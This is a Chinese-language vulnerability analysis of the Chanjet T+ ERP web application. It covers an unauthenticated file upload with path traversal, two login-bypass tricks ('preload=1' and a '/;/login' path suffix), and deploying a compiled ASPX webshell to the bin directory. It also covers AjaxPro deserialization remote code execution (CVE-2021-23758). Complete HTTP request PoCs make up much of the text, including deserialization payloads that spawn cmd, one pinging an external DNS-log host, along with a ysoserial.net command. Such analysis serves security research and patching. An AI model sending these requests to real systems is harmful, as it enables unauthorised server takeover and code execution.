畅捷通历史漏洞分析

文件上传

/tplus/SM/SetupAccount/Upload.aspx存在文件上传漏洞
查看源代码文件发现其是预编译的

在bin目录下找到其.compiled文件

然后反编译upload.aspx.9475d17f.dll,可以发现其Page_Load方法(用于处理页面加载时的操作)中实现了文件上传功能
只对Content-Type进行了校验,但未对文件上传的后缀做校验,默认保存到/SM/SetupAccount/image目录下

尝试进行利用会发现提示:没有登录,请登录

查看全局文件Global.asax,其指向Global.asax.cs文件,类为Ufida.T.Web.Http.Global

在bin目录中寻找dll文件并反编译

在Ufida.T.Web.Http.Global类中,发现上面的登录提示位于Application_PreRequestHandlerExecute方法中

对Application_PreRequestHandlerExecute方法进行分析,可以看到一开始就判断了,只要flag为true或者 RequestChecker.IsBaseRquest(empty) 为true就直接return了,return了就不会执行后面的权限判断逻辑了

flag为true,需要传入的参数preload的值为1,继续看下IsBaseRquest方法,设置了一些白名单的关键字,只要传入的url包含这些关键字就返回true

很明显,我们只要传入preload=1就能绕过登录限制了

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: xxxxxx:xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 180
Content-Type: multipart/form-data; boundary=9df1c9e8486b0bf2a2a1bf99e7fbeb02

--9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Disposition: form-data; name="File1"; filename="../../../1.aspx"
Content-Type: image/jpeg

test
--9df1c9e8486b0bf2a2a1bf99e7fbeb02--


但因为其是预编译的,所以直接上传.aspx文件是无法解析的

可以上传编译好的dll到bin目录下进行利用

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v /  -p c:\3 c:\4 -fixednames

-p aspx马所在目录 编译生成文件所保存目录
在bin目录下会生成如下两个文件

将这两个文件传到web目录的bin目录下就行了
前面说过,只要传入的url包含关键字就能返回true导致直接return,所以我们也可以构造如下请求进行绕过

POST /tplus/SM/SetupAccount/Upload.aspx/;/login HTTP/1.1
Host: xxxxxx:xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 179
Content-Type: multipart/form-data; boundary=9df1c9e8486b0bf2a2a1bf99e7fbeb02

--9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Disposition: form-data; name="File1"; filename="../../../2.txt"
Content-Type: image/jpeg

test
--9df1c9e8486b0bf2a2a1bf99e7fbeb02--

反序列化

web.config中看到使用了ajaxpro组件

ajaxpro组件存在CVE-2021-23758漏洞,标有属性[AjaxPro.AjaxMethod]或[AjaxMethod],并且接收object类型参数的方法能够rce
根据公开的路由:/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore
查看代码可以看到Ufida.T.CodeBehind._PriorityLevel类的GetStoreWarehouseByStore方法刚好满足

利用ysoserialNet生成payload

ysoserial.exe -g objectdataprovider -f JavaScriptSerializer -c "calc" -o raw


发送poc

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore/;/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: 192.168.37.168:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 604

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c ping d4e5b59b8a.ipv6.1433.eu.org."
        }
    }
  }
}



Ufida.T.CodeBehind._PriorityLevel类在App_Code.dll中,在App_Code.dll中进行搜索,发现Ufida.T.CodeBehind.DR.Member.MemberIntegral.ME_MemberIntegral_IntegralAdjust类的InitInstance方法也是满足条件的,poc如下:

POST /tplus/ajaxpro/Ufida.T.CodeBehind.DR.Member.MemberIntegral.ME_MemberIntegral_IntegralAdjust,App_Code.ashx?method=InitInstance/;/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: InitInstance
Host: 192.168.37.168:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 585

{
  "arges":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c calc"
        }
    }
  }
}


参考

https://www.ctfiot.com/16694.html